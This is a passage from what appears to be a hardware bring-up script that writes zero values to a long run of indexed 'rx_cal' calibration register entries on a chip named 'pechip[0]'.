bringup jspec write pechip[0] register pg_core fctl rx_cal 1346 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1347 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1348 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1349 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1350 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1351 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1352 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1353 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1354 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1355 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1356 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1357 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1358 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1359 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1360 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1361 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1362 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1363 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1364 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1365 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1366 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1367 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1368 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1369 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1370 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1371 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1372 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1373 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1374 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1375 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1376 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1377 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1378 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1379 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1380 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1381 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1382 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1383 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1384 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1385 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1386 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1387 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1388 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1389 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1390 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1391 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1392 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1393 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1394 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1395 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1396 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1397 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1398 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1399 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1400 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1401 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1402 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1403 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1404 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1405 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1406 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1407 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1408 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1409 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1410 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1411 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1412 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1413 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1414 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1415 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1416 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1417 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1418 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1419 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1420 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1421 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1422 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1423 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1424 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1425 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1426 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1427 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1428 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1429 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1430 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1431 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1432 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1433 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1434 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1435 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1436 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1437 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1438 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1439 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1440 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1441 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1442 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1443 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1444 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1445 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1446 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1447 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1448 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1449 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1450 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1451 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1452 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1453 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1454 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1455 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1456 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1457 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1458 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1459 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1460 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1461 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1462 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1463 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1464 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1465 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1466 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1467 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1468 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1469 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1470 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1471 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1472 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1473 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1474 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1475 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1476 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1477 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1478 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1479 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1480 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1481 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1482 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1483 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1484 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1485 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1486 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1487 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1488 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1489 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1490 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1491 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1492 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1493 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1494 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1495 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1496 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1497 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1498 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1499 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1500 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1501 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1502 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1503 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1504 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1505 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1506 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1507 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1508 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1509 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1510 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1511 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1512 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1513 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1514 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1515 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1516 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1517 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1518 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1519 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1520 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1521 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1522 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1523 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1524 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1525 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1526 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1527 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1528 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1529 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1530 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1531 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1532 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1533 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1534 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1535 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1536 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1537 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1538 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1539 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1540 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1541 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1542 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1543 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1544 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1545 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1546 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1547 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1548 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1549 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1550 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1551 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1552 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1553 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1554 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1555 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1556 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1557 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1558 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1559 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1560 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1561 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1562 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1563 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1564 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1565 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1566 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1567 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1568 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1569 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1570 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1571 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1572 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1573 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1574 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1575 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1576 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1577 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1578 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1579 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1580 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1581 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1582 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1583 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1584 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1585 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1586 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1587 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1588 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1589 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1590 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1591 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1592 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1593 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1594 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1595 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1596 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1597 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1598 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1599 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1600 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1601 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1602 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1603 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1604 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1605 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1606 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1607 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1608 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1609 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1610 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1611 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1612 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1613 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1614 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1615 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1616 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1617 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1618 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1619 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1620 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1621 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1622 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1623 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1624 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1625 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1626 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1627 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1628 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1629 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1630 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1631 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1632 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1633 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1634 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1635 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1636 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1637 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1638 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1639 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1640 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1641 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1642 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1643 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1644 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1645 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1646 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1647 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1648 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1649 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1650 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1651 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1652 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1653 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1654 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1655 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1656 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1657 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1658 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1659 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1660 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1661 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1662 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1663 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1664 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1665 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1666 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1667 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1668 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1669 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1670 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1671 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1672 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1673 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1674 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1675 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1676 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1677 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1678 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1679 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1680 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1681 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1682 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1683 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1684 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1685 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1686 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1687 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1688 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1689 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1690 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1691 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1692 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1693 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1694 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1695 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1696 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1697 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1698 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1699 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1700 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1701 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1702 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1703 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1704 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1705 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1706 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1707 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1708 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1709 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1710 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1711 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1712 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1713 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1714 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1715 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1716 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1717 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1718 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1719 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1720 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1721 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1722 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1723 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1724 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1725 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1726 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1727 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1728 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1729 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1730 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1731 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1732 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1733 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1734 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1735 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1736 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1737 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1738 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1739 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1740 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1741 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1742 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1743 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1744 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1745 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1746 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1747 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1748 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1749 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1750 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1751 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1752 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1753 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1754 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1755 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1756 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1757 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1758 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1759 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1760 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1761 0x000000000
